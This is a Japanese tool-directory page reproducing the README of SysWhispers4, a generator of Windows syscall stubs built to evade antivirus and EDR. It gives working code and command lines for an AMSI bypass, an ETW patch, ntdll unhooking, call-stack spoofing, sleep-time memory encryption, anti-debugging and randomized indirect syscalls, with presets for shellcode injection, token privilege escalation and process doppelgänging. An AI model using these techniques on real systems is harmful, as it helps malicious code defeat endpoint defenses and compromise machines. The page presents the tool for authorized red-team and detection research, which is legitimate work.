Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SysWhispers4 — AV/EDR回避:直接的および間接的なシステムコールによる Windows NT 3.1 から Windows 11 24H2 · x64 · x86 · WoW64 · ARM64 | Kitploit
ツール/GitHubGitHub/joasasantos/syswhispers4
IDS/IPS回避ポストエクスプロイトレッドチーミングペイロード開発敵対的攻撃
GitHubjoasasantos/syswhispers4

SysWhispers4

AV/EDR回避:直接的および間接的なシステムコールによる Windows NT 3.1 から Windows 11 24H2 · x64 · x86 · WoW64 · ARM64

リポジトリを見る
546705ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SysWhispers4

AV/EDR回避:直接的・間接的システムコールによる Windows NT 3.1 から Windows 11 24H2 · x64 · x86 · WoW64 · ARM64

SysWhispers4 は、Python ベースの syscall スタブ生成ツールで、ntdll.dll に AV/EDR 製品が仕掛けたユーザーモードフックを回避し、NT カーネル関数を直接呼び出すための C/ASM コードを生成します。

SysWhispers → SysWhispers2 → SysWhispers3 の系譜を引き継ぎ、本バージョンはこれまでで最も包括的な SSN 解決戦略、呼び出し方法、回避機能のセットを追加しています。


進化: SysWhispers 1 → 4

機能比較マトリックス

機能SW1SW2SW3SW4
SSN 解決
静的埋め込みテーブル✅✅✅✅
Hell's Gate(実行時 ntdll パース)❌✅✅✅
Halo's Gate(フック隣接スキャン)❌❌✅✅
Tartarus' Gate(near+far JMP)❌❌部分✅
FreshyCalls(VA によるソート)❌❌❌✅ 新規
SyscallsFromDisk(KnownDlls からクリーンな ntdll)❌❌❌✅ 新規
RecycledGate(FreshyCalls + オペコード検証)❌❌❌✅ 新規
HW Breakpoint(DR レジスタ + VEH)❌❌❌✅ 新規
静的 + 動的フォールバック❌❌❌✅ 新規
呼び出し方法
埋め込み(直接 syscall)✅✅✅✅
間接(ntdll ガジェットへの jmp)❌❌✅✅
ランダム化間接(呼び出しごとのエントロピー)❌❌部分†

† SW3 のランダム化手法にはレジスタ破壊バグがありました — RDTSC が edx(第2引数)を上書きします。SW4 は rdtsc の前に rdx → r11 を正しく保存し、スタックに触れずに復元します。


v4.1 の新機能

新しい SSN 解決方法

SyscallsFromDisk(--resolve from_disk)

\KnownDlls\ntdll.dll から ntdll のクリーンなコピーをマップし、フックされていない .text セクションから SSN を読み取ります。すべてのインラインフックを完全にバイパスします — EDR がこの読み取りを確認することはありません。```c // Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection // SSNs come from the on-disk image, guaranteed hook-free SW4_SyscallsFromDisk(pNtdll);

root@kitploit:~
#### RecycledGate(`--resolve recycled`)

FreshyCalls(VAソート)の信頼性と、Hell's Gateのオペコード検証を組み合わせた方式。各関数について:

1. ソート済み位置から候補SSNを取得(FreshyCalls)
2. スタブがクリーンな場合、SSNがオペコードと一致するか検証(二重チェック)
3. スタブがフックされている場合、ソート済みインデックスのSSNを信頼(フック耐性)

**利用可能な中で最も回復力のある手法** — フックがスタブを並べ替えたりオペコードを変更したりしても、VAソートが正しいSSNを導き出します。

#### HW Breakpoint(`--resolve hw_breakpoint`)

**デバッグレジスタ**(DR0–DR3)とVectored Exception Handler(VEH)を使用して、(フックされている可能性のある)関数バイトを読み取らずにSSNを抽出します:

1. DR0 = ntdllスタブ内の`syscall`命令のアドレスに設定
2. VEHハンドラを登録
3. スタブを呼び出す — VEHが`EXCEPTION_SINGLE_STEP`を捕捉
4. ブレークポイント時点でEAXにSSNが含まれている — それを取得
5. DR0をクリアし、syscallをスキップして続行

フックが実行をリダイレクトする場合でも機能します。`mov eax, <SSN>`の後にブレークポイントが発火するためです。

### 新しい回避技術

#### AMSI Bypass(`--amsi-bypass`)

`amsi.dll!AmsiScanBuffer`をパッチして`E_INVALIDARG`を返すようにし、AMSIにスキャン引数が無効であると思わせます。`amsi.dll`が読み込まれていない場合は、成功を返します(パッチするものはありません)。```c
SW4_PatchAmsi();  // Call early, before any suspicious operations

ntdll アンフック(--unhook-ntdll)

\KnownDlls\ から ntdll のクリーンなコピーをマップし、クリーンなバイトでフックされた .text セクションを上書きします。```c // Call BEFORE SW4_Initialize() for best results SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs

root@kitploit:~
これにより、ntdll からすべてのインラインフックが完全に削除され、以降の NT API 呼び出しは元のコードパスを経由するようになります。

#### アンチデバッグ (`--anti-debug`)
デバッガー/解析環境の存在を検出するための 6 つのチェックを実行します:

| チェック | 技術 | 検出内容 |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | 標準的なデバッガーのアタッチ |
| 2 | `NtGlobalFlag` (0x70) | デバッガーによって設定されるヒープデバッグフラグ |
| 3 | `RDTSC` タイミングデルタ | シングルステップ / トレーシング |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | カーネルデバッグポート |
| 5 | ヒープフラグ解析 | デバッグヒープの兆候 |
| 6 | インストルメンテーションコールバックの検出 | EDR のインストルメンテーションフック |```c
if (!SW4_AntiDebugCheck()) {
    // Debugger detected — bail out or take evasive action
    ExitProcess(0);
}

Sleep Encryption (--sleep-encrypt)

Ekko スタイルのスリープ中メモリ暗号化(定期的なメモリスキャナーを回避するため):

  1. RDTSC を介してランダムな XOR キーを生成
  2. 自身の .text セクションを XOR 暗号化
  3. 待機可能タイマー + APC キューを設定して復号
  4. アラート可能状態でスリープ
  5. タイマーが発火 → APC が .text を復号 → 実行が再開```c // Instead of Sleep(5000), use: SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
root@kitploit:~
無効化:
- スリープ中のメモリスキャナー(コードは暗号化された意味不明なデータ)
- 定期的なモジュールスキャン(シグネチャが一致しない)
- メモリ内PEに対するYARA/シグネチャスキャン

---

## 全機能(既存+新規)

### SSN解決メソッド(全8種)

| 手法 | フラグ | フック耐性 | 速度 | 備考 |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | なし | 最速 | 組み込みのj00ruテーブル、実行時解析なし |
| Hell's Gate | `--resolve hells_gate` | 低 | 高速 | オペコードバイトを読み取る — フックされていると失敗 |
| Halo's Gate | `--resolve halos_gate` | 中 | 高速 | 隣接スキャン(±8スタブ) |
| Tartarus' Gate | `--resolve tartarus` | 高 | 高速 | E9/FF25/EB/CCフックを検出、±16隣接 |
| FreshyCalls | `--resolve freshycalls` | **非常に高** | 中 | VA順にソート — 関数バイトを読み取らない |
| SyscallsFromDisk | `--resolve from_disk` | **最大** | 遅い | ディスクからクリーンなntdllをマップ |
| RecycledGate | `--resolve recycled` | **最大** | 中 | FreshyCalls + オペコードの相互検証 |
| HW Breakpoint | `--resolve hw_breakpoint` | **最大** | 遅い | DRレジスタ + VEH |

### 呼び出しメソッド(全4種)

| 手法 | フラグ | ntdll内のRIP | ディスク上のSyscall | 呼び出しごとにランダム |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (64ガジェット) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |

### 回避オプション(全8種)

| 機能 | フラグ | 説明 |
|---------|------|-------------|
| 難読化 | `--obfuscate` | スタブの並べ替え + 14種類のジャンク命令バリアント |
| SSN暗号化 | `--encrypt-ssn` | ランダムなコンパイル時キーによるXOR |
| スタックスプーフィング | `--stack-spoof` | ntdllから合成されたリターンアドレス |
| ETWバイパス | `--etw-bypass` | `EtwEventWrite`にパッチを当て、ACCESS_DENIEDを返す |
| AMSIバイパス | `--amsi-bypass` | `AmsiScanBuffer`にパッチを当て、E_INVALIDARGを返す |
| ntdllアンフッキング | `--unhook-ntdll` | `\KnownDlls\` からクリーンな `.text` を再マップ |
| アンチデバッグ | `--anti-debug` | 6つの検出チェック(PEB、タイミング、ヒープなど) |
| スリープ暗号化 | `--sleep-encrypt` | スリープ中に `.text` をEkkoスタイルでXOR |

---

## クイックスタート```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4

# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py

# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common

# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus

# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof \
    --etw-bypass --amsi-bypass --unhook-ntdll \
    --anti-debug --sleep-encrypt

# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll

# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --resolve hw_breakpoint

# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method egg --resolve halos_gate

# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64

# x86 / WoW64
python syswhispers.py --preset injection --arch x86

# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw

コマンドラインリファレンス```

python syswhispers.py [OPTIONS]

Function selection (at least one required): -p, --preset PRESET common | injection | evasion | token | stealth | file_ops | transaction | all -f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...

Target: -a, --arch ARCH x64 (default) | x86 | wow64 | arm64 -c, --compiler COMPILER msvc (default) | mingw | clang

Techniques: -m, --method METHOD embedded (default) | indirect | randomized | egg -r, --resolve RESOLVE freshycalls (default) | static | hells_gate | halos_gate | tartarus | from_disk | recycled | hw_breakpoint

Evasion / Obfuscation: --obfuscate Randomize stub order + inject junk instructions --encrypt-ssn XOR-encrypt SSN table at rest --stack-spoof Include synthetic call stack frame helper --etw-bypass Include user-mode ETW patch function --amsi-bypass Include AMSI bypass (AmsiScanBuffer patch) --unhook-ntdll Include ntdll unhooking (remap from KnownDlls) --anti-debug Include anti-debugging checks (6 techniques) --sleep-encrypt Include Ekko-style sleep encryption

Output: --prefix PREFIX Symbol prefix (default: SW4) -o, --out-file OUTFILE Output filename base (default: SW4Syscalls) --out-dir OUTDIR Output directory (default: .)

Info: --list-functions Print all 64 supported NT functions and exit --list-presets Print all preset definitions and exit -v, --verbose Verbose output / traceback on error

root@kitploit:~
---

## 生成ファイル

| ファイル | 目的 |
|---|---|
| `SW4Syscalls_Types.h` | NT型定義 — 構造体、列挙型、typedef |
| `SW4Syscalls.h` | 関数プロトタイプ + `SW4_Initialize()` + 回避API宣言 |
| `SW4Syscalls.c` | ランタイムSSN解決 + ヘルパー関数 + 回避実装 |
| `SW4Syscalls.asm` | MASM syscallスタブ (MSVC) |
| `SW4Syscalls_stubs.c` | GASインラインアセンブリスタブ (MinGW / Clang) |

---

## 統合 (MSVC)

1. 4つのファイルをVisual Studioプロジェクトに追加します
2. MASMを有効にする: **プロジェクト → ビルドカスタマイズ → masm (.targets)**
3. 起動時に初期化関数を呼び出します```c
#include "SW4Syscalls.h"

int main(void) {
    // Step 1 (optional): Remove ALL hooks from ntdll
    // Call BEFORE Initialize for best results
    SW4_UnhookNtdll();

    // Step 2: Resolve SSNs (required for all dynamic methods)
    if (!SW4_Initialize()) return 1;

    // Step 3 (optional): Evasion patches
    SW4_PatchEtw();    // Suppress user-mode ETW events
    SW4_PatchAmsi();   // Bypass AMSI scanning

    // Step 4 (optional): Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected — take evasive action
        return 0;
    }

    // Use NT functions directly — all via syscall, no API hooks
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS st = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // Use encrypted sleep instead of Sleep()
    // SW4_SleepEncrypt(5000);  // .text encrypted during sleep

    return NT_SUCCESS(st) ? 0 : 1;
}

統合 (MinGW/Clang)```bash

x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll

root@kitploit:~
---

## SSN 解決テクニック

### 静的
生成時に同梱の j00ru テーブルからシステムコール番号を埋め込みます。実行時の ntdll パースは不要 — 最速かつ最もシンプルです。埋め込みテーブルは検出シグナルとなるため、ステルス性を求める場合は動的手法を使用してください。

### FreshyCalls *(デフォルト — 推奨)*
ntdll のすべての `Nt*` エクスポートを仮想アドレスでソートします。ソートされたインデックス = SSN です。**すべて** の `Nt*` スタブがフックされていても機能します — VA のみを読み取り、関数バイトは読み取りません。

### Hell's Gate
各 ntdll スタブから `mov eax, <SSN>` オペコードを直接読み取ります:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00

スタブの先頭バイトがEDRフックによって上書きされると失敗します。

Halo's Gate

Hell's Gateを拡張:スタブがフックされている場合、ソートされたエクスポートリスト内の隣接スタブ(±8)をスキャンし、±オフセット演算でSSNを推定します。

Tartarus' Gate

Halo's Gateを拡張し、すべてのEDRフックパターンを検出します:

  • E9 xx xx xx xx — 近距離相対JMP
  • FF 25 xx xx xx xx — メモリ経由の遠距離絶対JMP
  • EB xx — ショートJMP
  • CC — int3ブレークポイント
  • E8 xx xx xx xx — コール(まれ)

両方向に最大16個の隣接スタブをスキャンします。

SyscallsFromDisk (すべてのフックをバイパス)

\KnownDlls\ntdll.dllから完全にクリーンなntdllのコピーをマッピングし、改変されていない.textセクションからSSNを読み取ります。EDRフックは無関係です — フックされたコピーから読み取ることは決してありません。

RecycledGate (最も堅牢)

FreshyCallsとHell's Gateを組み合わせて最大限の確信度を実現します:

  • プライマリ: VAソート済みインデックス(FreshyCalls)
  • 検証: スタブがクリーンな場合のオペコードのクロスチェック
  • フォールバック: スタブがフックされている場合はVAソートを信頼

EDRがフックとエクスポートテーブルエントリの両方を改変しても、VAソートは依然として正しいSSNを提供します。

HW Breakpoint (高度)

CPUのデバッグレジスタ(DR0–DR3)を使用して、ntdll内のsyscall命令にハードウェアブレークポイントを設定します。ベクタード例外ハンドラ(VEH)がブレークポイントを捕捉し、その時点でEAXからSSNを読み取ります。改ざんされた可能性のあるバイトは一切読み取りません。


呼び出し方法

埋め込み — ダイレクトシステムコール

syscallはスタブ内に存在します。カーネルエントリ時、RIPは自身のPEを指します — non-ntdllのRIPをチェックするEDRに検出されます。

間接

事前に特定されたsyscall;retガジェット(ntdll.dll内)へジャンプします。カーネルエントリ時、RIPがntdll内にあるように見えます — 正規のAPIコールと同一です。

ランダム化間接

間接と同様ですが、呼び出しのたびに最大64個からなるプールからランダムなガジェットを選択します。特定のntdllガジェットアドレスをホワイトリスト化するEDRヒューリスティックを無効化します。エントロピー源としてRDTSCを使用します — APIコールは不要です。```asm SW4_NtAllocateVirtualMemory PROC mov r10, rcx ; arg1 → r10 (syscall ABI) mov r11, rdx ; SAVE rdx — rdtsc trashes edx! rdtsc ; eax:edx = TSC (clobbers edx) xor eax, edx ; mix and eax, 63 ; pool index (0..63) lea rcx, [SW4_GadgetPool] mov rcx, QWORD PTR [rcx + rax8] ; random gadget mov rdx, r11 ; RESTORE rdx mov eax, DWORD PTR [SW4_SsnTable + N4] jmp rcx ; → random ntdll syscall;ret SW4_NtAllocateVirtualMemory ENDP

root@kitploit:~
### エッグハント
スタブは、`syscall` の代わりに8バイトのランダムなエッグマーカーを含みます。`SW4_HatchEggs()` は起動時に `.text` セクションをスキャンし、各エッグを `0F 05 90 90 90 90 90 90` に置き換えます。**ディスク上のバイナリには `syscall` オペコードは現れません。**

---

## EDR 検出の全体像

| 検出ベクトル | 埋め込み | 間接 | ランダム化 | エッグ |
|---|:-:|:-:|:-:|:-:|
| ユーザーモードフックの回避 | ✅ | ✅ | ✅ | ✅ |
| syscall 時に RIP が ntdll 内にある | ❌ | ✅ | ✅ | ❌ |
| ディスク上のバイナリに `0F 05` が存在しない | ✅¹ | ✅ | ✅ | **✅** |
| 呼び出しごとにランダムなガジェット | ❌ | ❌ | **✅** | ❌ |
| クリーンなコールスタック | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 |
| スリープ中のメモリスキャン回避 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 |
| カーネル ETW-Ti バイパス | ❌ | ❌ | ❌ | ❌ |

¹ `syscall` オペコードは、ntdll ではなく、PE の `.text` セクション内の自身のコードアドレスにあります。

> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`) は、呼び出し方法に関係なくカーネル内で発動します。カーネルアクセスなしにこれをバイパスできるユーザーモード技術はありません。

---

## 回避技術の詳細

### XOR 暗号化 SSN テーブル (`--encrypt-ssn`)
SSN 値は、ランダムなコンパイル時キーで XOR された状態で保存されます。syscall の直前に ASM スタブ内で復号されます。静的状態のバイナリには平文の SSN は現れません。```c
#define SW4_XOR_KEY  0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
root@kitploit:~
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4]  ; encrypted
xor eax, SW4_XOR_KEY                      ; decrypt
syscall

コールスタックスプーフィング (--stack-spoof)

可視のリターンアドレスをntdll内のポインタに置き換えるトランポリンで、スタックを辿るEDRに対してコールチェーンが正当に見えるようにします。```asm SW4_CallWithSpoofedStack PROC pop r11 ; save real return address push [SW4_SpoofReturnAddr] ; push ntdll address instead push r11 ; real address below (unreachable by walker) jmp rax ; execute target SW4_CallWithSpoofedStack ENDP

root@kitploit:~
### ETW バイパス (`--etw-bypass`)
`ntdll!EtwEventWrite` にパッチを適用し、即座に `STATUS_ACCESS_DENIED` を返すようにすることで、ユーザーモードの ETW イベント配信を抑制します。

> これはカーネルモードの ETW-Ti コールバックを**バイパスしません**。許可されたエンゲージメントでのみ使用してください。

### ntdll のフック解除 (`--unhook-ntdll`)
`\KnownDlls\` からクリーンな ntdll をマッピングし、フックされた `.text` セクションの上にクリーンな `.text` セクションを `memcpy` でコピーします:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
      VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup

SW4_Initialize() の前に呼び出して、SSN解決がクリーンなスタブを読み取るようにしてください。

ジャンク命令 (--obfuscate)

スタブ命令の間に注入される14種類の無害なx64命令バリアント:```asm nop ; classic NOP xchg ax, ax ; 2-byte NOP lea r11, [r11] ; no-op LEA nop DWORD PTR [rax] ; multi-byte NOP xchg r11, r11 ; register swap (no-op) test r11d, 0ABh ; flags-only, result discarded push 042h / pop r11 ; push-pop noise fnop ; FPU no-op lea rsp, [rsp + 00h] ; stack identity LEA ; ... and more

root@kitploit:~
---

## 対応機能 (64)```bash
python syswhispers.py --list-functions

プリセット


推奨構成

最小検出フットプリント(Red Team)```bash

python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt

root@kitploit:~
### 高速&シンプル(CTF / クイックテスト)```bash
python syswhispers.py --preset common

高度にフックされたEDRのバイパス```bash

python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn

root@kitploit:~
### プロセス・ドッペルゲンギング```bash
python syswhispers.py --preset transaction \
    --method indirect --resolve freshycalls

システムコールテーブルの対応範囲

scripts/update_syscall_table.py により j00ru/windows-syscalls から更新:

OS対象ビルド
Windows 7SP1 (7601)
Windows 8 / 8.1RTM (9200, 9600)
Windows 101507 → 22H2 (10240 → 19045, 14 ビルド)

アーキテクチャのサポート


プロジェクト構造```

SysWhispers4/ ├── syswhispers.py # CLI entry point ├── core/ │ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods) │ ├── generator.py # Code generation engine (~1900 lines) │ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption │ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading ├── data/ │ ├── prototypes.json # 64 NT function signatures │ ├── presets.json # 8 function presets │ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2) │ └── syscalls_nt_x86.json # x86 SSN table ├── scripts/ │ └── update_syscall_table.py # Auto-fetch latest j00ru table └── examples/ └── example_injection.c # Reference integration example

root@kitploit:~
---

## セキュリティ通知

SysWhispers4 は、セキュリティ研究および許可された侵入テストを目的としたツールです。以下の場合にのみ使用してください:

- 所有しているシステム、または明示的な書面によるテスト許可を得たシステム
- CTF コンテスト
- 防御研究(攻撃手法を理解して検知を向上させるため)
- セキュリティ製品のシグネチャ開発

所有していないシステムに対する不正使用は、多くの法域で違法となります。

---

## 参考資料・クレジット

| リソース | 著者 |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |

---

## ライセンス

このプロジェクトは、教育および許可されたセキュリティテストの目的で公開されています。
ツールをダウンロード
✅ 修正
エッグハント(ディスク上に静的 0F 05 を持たない)❌❌✅✅
アーキテクチャ
x64✅✅✅✅
x86(32ビット sysenter)❌❌✅✅
WoW64(Heaven's Gate)❌❌✅✅
ARM64(SVC #0、w8)❌❌❌✅ 新規
コンパイラサポート
MSVC(MASM)✅✅✅✅
MinGW / GCC(GAS インライン)❌❌✅✅
Clang(GAS インライン)❌❌✅✅
回避 / 難読化
関数名ハッシュ化❌✅✅✅(DJB2)
スタブ順序ランダム化❌❌❌✅ 新規
ジャンク命令挿入(14 種類)❌❌❌✅ 新規
保存時の XOR 暗号化 SSN❌❌❌✅ 新規
ガジェットプール(最大 64 ガジェット)❌❌❌✅ 新規
コールスタック偽装ヘルパー❌❌❌✅ 新規
ユーザーモード ETW バイパス❌❌❌✅ 新規
AMSI バイパス❌❌❌✅ 新規
ntdll アンフッキング(KnownDlls からの再マップ)❌❌❌✅ 新規
アンチデバッグ(6 チェック)❌❌❌✅ 新規
スリープ暗号化(Ekko スタイル)❌❌❌✅ 新規
システムコールテーブル
Windows XP → Win10 20H2✅✅✅✅
Windows 11 21H2–24H2❌❌部分✅ 完全
Windows Server 2022/2025❌❌❌✅ 新規
j00ru からの自動更新❌❌❌✅ 新規
ツール
対応 NT 関数~12~12~3564
Python バージョン2/3333.10+
型アノテーション❌❌部分✅ 完全
CategoryFunctions
メモリNtAllocateVirtualMemory · NtAllocateVirtualMemoryEx · NtFreeVirtualMemory · NtWriteVirtualMemory · NtReadVirtualMemory · NtProtectVirtualMemory · NtQueryVirtualMemory · NtSetInformationVirtualMemory
セクション/マッピングNtCreateSection · NtOpenSection · NtMapViewOfSection · NtUnmapViewOfSection
プロセスNtOpenProcess · NtCreateProcess · NtCreateProcessEx · NtCreateUserProcess · NtTerminateProcess · NtSuspendProcess · NtResumeProcess · NtQueryInformationProcess · NtSetInformationProcess
スレッドNtCreateThreadEx · NtOpenThread · NtTerminateThread · NtSuspendThread · NtResumeThread · NtGetContextThread · NtSetContextThread · NtQueueApcThread · NtQueueApcThreadEx · NtQueryInformationThread · NtSetInformationThread · NtAlertThread · NtAlertResumeThread · NtTestAlert
ハンドル/同期NtClose · NtDuplicateObject · NtWaitForSingleObject · NtWaitForMultipleObjects · NtSignalAndWaitForSingleObject · NtCreateEvent · NtSetEvent · NtResetEvent · NtCreateTimer · NtSetTimer
ファイルNtCreateFile · NtOpenFile · NtWriteFile · NtReadFile · NtDeleteFile
トークンNtOpenProcessToken · NtOpenThreadToken · NtQueryInformationToken · NtAdjustPrivilegesToken · NtDuplicateToken · NtImpersonateThread
トランザクションNtCreateTransaction · NtRollbackTransaction · NtCommitTransaction
その他NtDelayExecution · NtQuerySystemInformation · NtQueryObject · NtFlushInstructionCache · NtContinue
PresetFunctionsユースケース
common25一般的なプロセス/スレッド/メモリ操作
injection20シェルコード注入、APC注入、セクションマッピング
evasion15AV/EDR回避、プロセス照会、メモリ操作
token6トークン操作、偽装、特権昇格
stealth32最大限の回避: 注入 + 回避 + アンフックサポート
file_ops7NTシステムコールによるファイルI/O
transaction7プロセス・ドッペルゲンギング / トランザクション・ロールバック
all64サポートされているすべての関数
Windows 1121H2 → 24H2 (22000 → 26100, 4 ビルド)
Windows Server2022 (20348), 2025 (26100)
アーキテクチャシステムコール命令SSN レジスタ対応メソッド
x64syscalleaxすべて (embedded, indirect, randomized, egg)
x86sysentereaxEmbedded + Egg
WoW64syscall (64-bit)eaxすべて (x64 stubs from 32-bit PE)
ARM64svc #0w8Embedded